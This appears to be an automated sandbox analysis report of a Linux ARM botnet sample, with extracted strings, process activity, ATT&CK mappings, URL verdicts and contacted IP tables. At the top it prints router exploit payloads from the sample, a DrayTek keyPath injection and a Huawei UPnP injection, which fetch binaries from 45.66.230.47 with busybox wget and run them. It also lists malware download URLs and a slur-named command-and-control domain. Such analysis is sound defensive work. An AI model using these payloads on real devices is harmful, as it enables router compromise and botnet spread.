Source: Initial sample	String containing 'busybox' found: action=login&keyPath=%27%0A%09%2Fbin%2Fsh%24%7BIFS%7D-c%24%7BIFS%7D%27cd%24%7BIFS%7D%2Ftmp%24%7BIFS%7D%26%26%24%7BIFS%7Dbusybox%24%7BIFS%7Dwget%24%7BIFS%7Dhttp%3A%2F%2F45.66.230.47%2Fbins%2Farm7%24%7BIFS%7D%26%26%24%7BIFS%7Dchmod%24%7BIFS%7D777%24%7BIFS%7Darm7%24%7BIFS%7D%26%26%24%7BIFS%7D.%2Farm7%24%7BIFS%7Dselfrep.vigor%24%7BIFS%7D%26%26%24%7BIFS%7Drm%24%7BIFS%7D-rf%24%7BIFS%7Darm7%27%0A%09%27&loginPwd=a&loginUser=a
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 45.66.230.47 -l /tmp/fuxi -r /bins/mips; /bin/busybox chmod 777 * /tmp/fuxi; /tmp/fuxi selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: %sServer: DWSaction=login&keyPath=%27%0A%09%2Fbin%2Fsh%24%7BIFS%7D-c%24%7BIFS%7D%27cd%24%7BIFS%7D%2Ftmp%24%7BIFS%7D%26%26%24%7BIFS%7Dbusybox%24%7BIFS%7Dwget%24%7BIFS%7Dhttp%3A%2F%2F45.66.230.47%2Fbins%2Farm7%24%7BIFS%7D%26%26%24%7BIFS%7Dchmod%24%7BIFS%7D777%24%7BIFS%7Darm7%24%7BIFS%7D%26%26%24%7BIFS%7D.%2Farm7%24%7BIFS%7Dselfrep.vigor%24%7BIFS%7D%26%26%24%7BIFS%7Drm%24%7BIFS%7D-rf%24%7BIFS%7Darm7%27%0A%09%27&loginPwd=a&loginUser=aPOST /cgi-bin/mainfunction.cgi HTTP/1.1
Source: Initial sample	String containing 'busybox' found: File not found<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 45.66.230.47 -l /tmp/fuxi -r /bins/mips; /bin/busybox chmod 777 * /tmp/fuxi; /tmp/fuxi selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/6232/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/6232/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/6232/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/6234/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/6234/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/6234/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/6236/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/6236/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/6236/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/1582/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/1582/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/3088/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/3088/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/230/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/230/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/110/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/110/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/231/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/231/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/111/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/111/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/232/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/232/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/1579/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/1579/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/112/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/112/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/233/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/233/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/1699/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/1699/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/113/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/113/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/234/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/234/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/1335/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/1335/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/1698/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/1698/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/114/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/114/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/235/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/235/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/1334/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/1334/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/1576/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/1576/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/2302/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/2302/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/115/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/115/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/236/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/236/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/116/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/116/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/237/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/237/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/117/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/117/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/118/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/118/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/910/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/910/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/119/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/119/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/912/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/912/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/10/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/10/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/2307/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/2307/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/11/maps	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/11/fd	Jump to behavior
Source: /tmp/uekXXxUc43.elf (PID: 6231)	File opened: /proc/11/cmdline	Jump to behavior

Source: uekXXxUc43.elf, 6231.1.00007ffc60b84000.00007ffc60ba5000.rw-.sdmp	Binary or memory string: 3V/tmp/qemu-open.Yu4F9n(
Source: uekXXxUc43.elf, 6227.1.00005633b6358000.00005633b6486000.rw-.sdmp, uekXXxUc43.elf, 6231.1.00005633b6358000.00005633b6486000.rw-.sdmp	Binary or memory string: 3V!/etc/qemu-binfmt/arm
Source: uekXXxUc43.elf, 6227.1.00007ffc60b84000.00007ffc60ba5000.rw-.sdmp, uekXXxUc43.elf, 6231.1.00007ffc60b84000.00007ffc60ba5000.rw-.sdmp	Binary or memory string: JCx86_64/usr/bin/qemu-arm/tmp/uekXXxUc43.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/uekXXxUc43.elf
Source: uekXXxUc43.elf, 6227.1.00005633b6358000.00005633b6486000.rw-.sdmp, uekXXxUc43.elf, 6231.1.00005633b6358000.00005633b6486000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: uekXXxUc43.elf, 6227.1.00007ffc60b84000.00007ffc60ba5000.rw-.sdmp, uekXXxUc43.elf, 6231.1.00007ffc60b84000.00007ffc60ba5000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: uekXXxUc43.elf, 6231.1.00007ffc60b84000.00007ffc60ba5000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.Yu4F9n

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: uekXXxUc43.elf, type: SAMPLE
Source: Yara match	File source: 6227.1.00007fa820017000.00007fa82002b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6231.1.00007fa820017000.00007fa82002b000.r-x.sdmp, type: MEMORY

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Command and Scripting Interpreter	Path Interception	Path Interception	1 File Deletion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	4 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	1 Ingress Tool Transfer	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Source	Detection	Scanner	Label
http://38.85.192.61:82/	0%	Avira URL Cloud	safe
http://203.99.106.116:82/	0%	Avira URL Cloud	safe
http://89.216.104.82:82/	0%	Avira URL Cloud	safe
http://197.196.250.60:82/	0%	Avira URL Cloud	safe
http://34.174.198.1:82/	0%	Avira URL Cloud	safe
http://149.248.206.151:82/	0%	Avira URL Cloud	safe
http://164.155.200.247:82/	0%	Avira URL Cloud	safe
http://144.49.215.177:82/	0%	Avira URL Cloud	safe
http://34.149.84.155:82/	0%	Avira URL Cloud	safe
http://95.86.70.197:82/	0%	Avira URL Cloud	safe
http://66.242.133.114:82/	0%	Avira URL Cloud	safe
http://213.188.207.163:82/	0%	Avira URL Cloud	safe
http://172.65.16.147:82/	0%	Avira URL Cloud	safe
http://146.148.129.73:82/	0%	Avira URL Cloud	safe
http://156.166.241.107:82/	0%	Avira URL Cloud	safe
http://197.192.218.67:82/	0%	Avira URL Cloud	safe
http://163.191.8.209:82/	0%	Avira URL Cloud	safe
http://114.36.224.178:82/	0%	Avira URL Cloud	safe
http://107.178.158.36:82/	0%	Avira URL Cloud	safe
http://34.120.100.148:82/	0%	Avira URL Cloud	safe
http://213.154.15.54:82/	0%	Avira URL Cloud	safe
http://212.76.113.203:82/	0%	Avira URL Cloud	safe
http://34.174.198.1:82/web_shell_cmd.gch	0%	Avira URL Cloud	safe
http://172.65.217.90:82/	0%	Avira URL Cloud	safe
http://172.65.127.92:82/	0%	Avira URL Cloud	safe
http://182.76.214.22:82/	0%	Avira URL Cloud	safe
http://159.60.208.209:82/	0%	Avira URL Cloud	safe
http://45.66.230.47/bins/mips;	100%	Avira URL Cloud	malware
http://68.183.17.95/Messiah.mips;	0%	Avira URL Cloud	safe
http://34.174.198.1:82/UD/act?1	0%	Avira URL Cloud	safe
http://45.66.230.47/bins/x86	100%	Avira URL Cloud	malware
http://45.66.230.47/bins/wget.sh$	100%	Avira URL Cloud	malware
http://45.66.230.47/wget.sh	100%	Avira URL Cloud	malware
http://163.191.203.45:82/	0%	Avira URL Cloud	safe
http://156.162.74.184:82/	0%	Avira URL Cloud	safe
http://86.69.112.118:82/	0%	Avira URL Cloud	safe
http://45.66.230.47/bins/wget.sh;sh$	100%	Avira URL Cloud	malware
http://34.160.253.139:82/	0%	Avira URL Cloud	safe
http://154.201.18.169:82/	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://197.196.250.60:82/	false	Avira URL Cloud: safe	unknown
http://203.99.106.116:82/	false	Avira URL Cloud: safe	unknown
http://34.149.84.155:82/	false	Avira URL Cloud: safe	unknown
http://38.85.192.61:82/	false	Avira URL Cloud: safe	unknown
http://144.49.215.177:82/	false	Avira URL Cloud: safe	unknown
http://149.248.206.151:82/	false	Avira URL Cloud: safe	unknown
http://34.174.198.1:82/	false	Avira URL Cloud: safe	unknown
http://164.155.200.247:82/	false	Avira URL Cloud: safe	unknown
http://89.216.104.82:82/	false	Avira URL Cloud: safe	unknown
http://213.188.207.163:82/	false	Avira URL Cloud: safe	unknown
http://66.242.133.114:82/	false	Avira URL Cloud: safe	unknown
http://95.86.70.197:82/	false	Avira URL Cloud: safe	unknown
http://172.65.16.147:82/	false	Avira URL Cloud: safe	unknown
http://163.191.8.209:82/	false	Avira URL Cloud: safe	unknown
http://156.166.241.107:82/	false	Avira URL Cloud: safe	unknown
http://146.148.129.73:82/	false	Avira URL Cloud: safe	unknown
http://114.36.224.178:82/	false	Avira URL Cloud: safe	unknown
http://197.192.218.67:82/	false	Avira URL Cloud: safe	unknown
http://107.178.158.36:82/	false	Avira URL Cloud: safe	unknown
http://212.76.113.203:82/	false	Avira URL Cloud: safe	unknown
http://213.154.15.54:82/	false	Avira URL Cloud: safe	unknown
http://172.65.127.92:82/	false	Avira URL Cloud: safe	unknown
http://182.76.214.22:82/	false	Avira URL Cloud: safe	unknown
http://172.65.217.90:82/	false	Avira URL Cloud: safe	unknown
http://34.120.100.148:82/	false	Avira URL Cloud: safe	unknown
http://34.174.198.1:82/web_shell_cmd.gch	false	Avira URL Cloud: safe	unknown
http://159.60.208.209:82/	false	Avira URL Cloud: safe	unknown
http://86.69.112.118:82/	false	Avira URL Cloud: safe	unknown
http://34.174.198.1:82/UD/act?1	false	Avira URL Cloud: safe	unknown
http://163.191.203.45:82/	false	Avira URL Cloud: safe	unknown
http://34.160.253.139:82/	false	Avira URL Cloud: safe	unknown
http://156.162.74.184:82/	false	Avira URL Cloud: safe	unknown
http://154.201.18.169:82/	false	Avira URL Cloud: safe	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
117.66.97.199	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
120.97.103.16	unknown	Taiwan; Republic of China (ROC)	17716	NTU-TWNationalTaiwanUniversityTW	false
156.79.242.118	unknown	United States	11363	FUJITSU-USAUS	false
8.102.74.35	unknown	United States	3356	LEVEL3US	false
137.163.10.207	unknown	Finland	719	ELISA-ASHelsinkiFinlandEU	false
208.19.90.203	unknown	United States	1239	SPRINTLINKUS	false
40.202.57.122	unknown	United States	4249	LILLY-ASUS	false
65.224.249.191	unknown	United States	701	UUNETUS	false
197.177.27.40	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
201.43.221.183	unknown	Brazil	27699	TELEFONICABRASILSABR	false
149.236.74.51	unknown	Germany	12843	TELEMAXXDE	false
81.116.64.123	unknown	Italy	20959	TELECOM-ITALIA-DATA-COMIT	false
50.79.166.41	unknown	United States	7922	COMCAST-7922US	false
116.130.153.75	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
203.90.74.122	unknown	India	45528	TIKONAIN-ASTikonaInfinetLtdIN	false
179.153.48.24	unknown	Brazil	28573	CLAROSABR	false
48.43.93.222	unknown	United States	2686	ATGS-MMD-ASUS	false
212.33.206.152	unknown	Iran (ISLAMIC Republic Of)	43754	ASIATECHIR	false
174.219.65.108	unknown	United States	22394	CELLCOUS	false
133.35.171.155	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
44.36.244.221	unknown	United States	63479	HAMWANUS	false
48.184.12.150	unknown	United States	2686	ATGS-MMD-ASUS	false
1.19.0.207	unknown	Korea Republic of	45996	GNJ-AS-KRDAOUTECHNOLOGYKR	false
61.215.2.111	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
99.116.100.220	unknown	United States	7018	ATT-INTERNET4US	false
147.252.203.2	unknown	Ireland	1213	HEANETIE	false
50.99.218.34	unknown	Canada	852	ASN852CA	false
13.44.30.19	unknown	United States	7018	ATT-INTERNET4US	false
12.156.59.199	unknown	United States	7018	ATT-INTERNET4US	false
168.142.107.107	unknown	South Africa	3741	ISZA	false
69.172.202.211	unknown	Canada	19324	DOSARRESTUS	false
50.155.240.126	unknown	United States	7922	COMCAST-7922US	false
181.99.78.84	unknown	Argentina	7303	TelecomArgentinaSAAR	false
70.22.157.204	unknown	United States	701	UUNETUS	false
155.133.1.226	unknown	Poland	204801	PERFECTELINE-ASPL	false
83.148.36.152	unknown	Czech Republic	29208	DIALTELECOM-ASDialTelecomasSK	false
222.148.191.29	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
1.134.75.96	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
210.198.60.126	unknown	Japan	7514	MEXComputerEngineeringConsultingLtdJP	false
221.229.60.213	unknown	China	23650	CHINANET-JS-AS-APASNumberforCHINANETjiangsuprovinceba	false
195.244.152.144	unknown	Latvia	8194	VITALV	false
183.218.68.44	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
205.10.187.171	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
19.180.68.108	unknown	United States	3	MIT-GATEWAYSUS	false
132.228.191.193	unknown	United States	1906	NORTHROP-GRUMMANUS	false
1.154.21.196	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
175.250.196.246	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
89.152.61.39	unknown	Portugal	2860	NOS_COMUNICACOESPT	false
2.184.242.157	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
149.2.20.214	unknown	United States	174	COGENT-174US	false
83.222.115.112	unknown	Russian Federation	42632	MNOGOBYTE-ASMoscowRussiaRU	false
102.115.130.240	unknown	Mauritius	23889	MauritiusTelecomMU	false
80.36.57.52	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
139.26.73.173	unknown	Reunion	327697	TELCO-OI-ASRE	false
36.195.255.115	unknown	China	24138	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
201.193.204.32	unknown	Costa Rica	11830	InstitutoCostarricensedeElectricidadyTelecomCR	false
73.99.131.155	unknown	United States	7922	COMCAST-7922US	false
134.4.161.31	unknown	United States	31	CITUS	false
112.101.3.189	unknown	China	17897	CHINATELECOM-HLJ-AS-APasnforHeilongjiangProvincialNeto	false
159.175.94.80	unknown	Canada	26567	AS-LMGC-TOR-01CA	false
147.198.194.81	unknown	United States	1505	DNIC-AS-01505US	false
37.113.197.154	unknown	Russian Federation	57044	BRYANSK-ASRU	false
114.133.53.39	unknown	Malaysia	56046	CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN	false
197.177.27.37	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
100.7.169.110	unknown	United States	701	UUNETUS	false
107.35.85.10	unknown	United States	16567	NETRIX-16567US	false
4.250.17.64	unknown	United States	3356	LEVEL3US	false
218.217.185.170	unknown	Japan	2510	INFOWEBFUJITSULIMITEDJP	false
141.208.145.101	unknown	Finland	1759	TSF-IP-CORETeliaFinlandOyjEU	false
213.226.6.105	unknown	Bulgaria	8717	SPECTRUMNETBG	false
38.247.196.128	unknown	United States	174	COGENT-174US	false
191.44.62.152	unknown	Brazil	7738	TelemarNorteLesteSABR	false
80.10.245.68	unknown	France	3215	FranceTelecom-OrangeFR	false
177.163.100.110	unknown	Brazil	26599	TELEFONICABRASILSABR	false
117.178.243.238	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
25.221.152.254	unknown	United Kingdom	7922	COMCAST-7922US	false
109.205.83.200	unknown	Russian Federation	50568	RU-CCIRU	false
169.156.132.18	unknown	United States	6189	EPFL-ASUS	false
216.2.70.214	unknown	United States	2828	XO-AS15US	false
2.127.158.170	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
82.224.130.86	unknown	France	12322	PROXADFR	false
14.253.102.83	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
118.162.49.200	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
162.164.129.204	unknown	United States	21928	T-MOBILE-AS21928US	false
174.216.159.232	unknown	United States	22394	CELLCOUS	false
189.6.48.15	unknown	Brazil	28573	CLAROSABR	false
218.94.23.207	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
205.160.112.102	unknown	United States	5778	CENTURYLINK-LEGACY-EMBARQ-RCMTUS	false
166.62.135.6	unknown	Canada	5769	VIDEOTRONCA	false
46.249.167.191	unknown	Lithuania	25406	SPLIUS-ASLT	false
185.38.220.193	unknown	Poland	56523	AMELEKTRONIKPL	false
131.73.23.99	unknown	United States	28075	ARLINKSAAR	false
195.32.192.161	unknown	Germany	20676	PLUSNETDE	false
222.44.27.109	unknown	China	45057	CNNIC-TIETONG-APCHINATIETONGSHANGHAICN	false
191.69.91.224	unknown	Colombia	26611	COMCELSACO	false
53.4.61.248	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
170.142.205.144	unknown	United States	4454	TNET-ASUS	false
69.227.236.85	unknown	United States	7018	ATT-INTERNET4US	false
197.82.246.79	unknown	South Africa	10474	OPTINETZA	false
141.106.84.91	unknown	United States	33503	MCW-1-ASUS	false

Match	Associated Sample Name / URL	SHA 256	Detection	Link
40.202.57.122	SSH	Get hash	malicious	Browse
40.202.57.122	vHVNRpNhIs	Get hash	malicious	Browse
65.224.249.191	GnarhM5ZKi	Get hash	malicious	Browse
197.177.27.40	FobYPwtGrb	Get hash	malicious	Browse
	duYLzEmYuq	Get hash	malicious	Browse
	7g5SmEJaZ7	Get hash	malicious	Browse
	Cronarm7	Get hash	malicious	Browse
149.236.74.51	2tdWqgPQPc	Get hash	malicious	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
dogeatingchink.uno	G7APAyIs9a.elf	Get hash	malicious	Browse	45.12.253.12
	3L7By8x8KC.elf	Get hash	malicious	Browse	157.230.220.122
	uH2CNPK47a.elf	Get hash	malicious	Browse	157.230.220.122
	A6De2hiUgN.elf	Get hash	malicious	Browse	138.68.65.48
	ZRCgFdio2a.elf	Get hash	malicious	Browse	185.225.16.43
	jklarm7.elf	Get hash	malicious	Browse	157.245.102.148
